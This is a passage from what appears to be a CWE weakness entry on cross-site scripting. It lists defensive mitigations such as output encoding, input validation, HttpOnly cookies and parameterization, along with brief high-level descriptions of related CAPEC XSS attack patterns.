- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.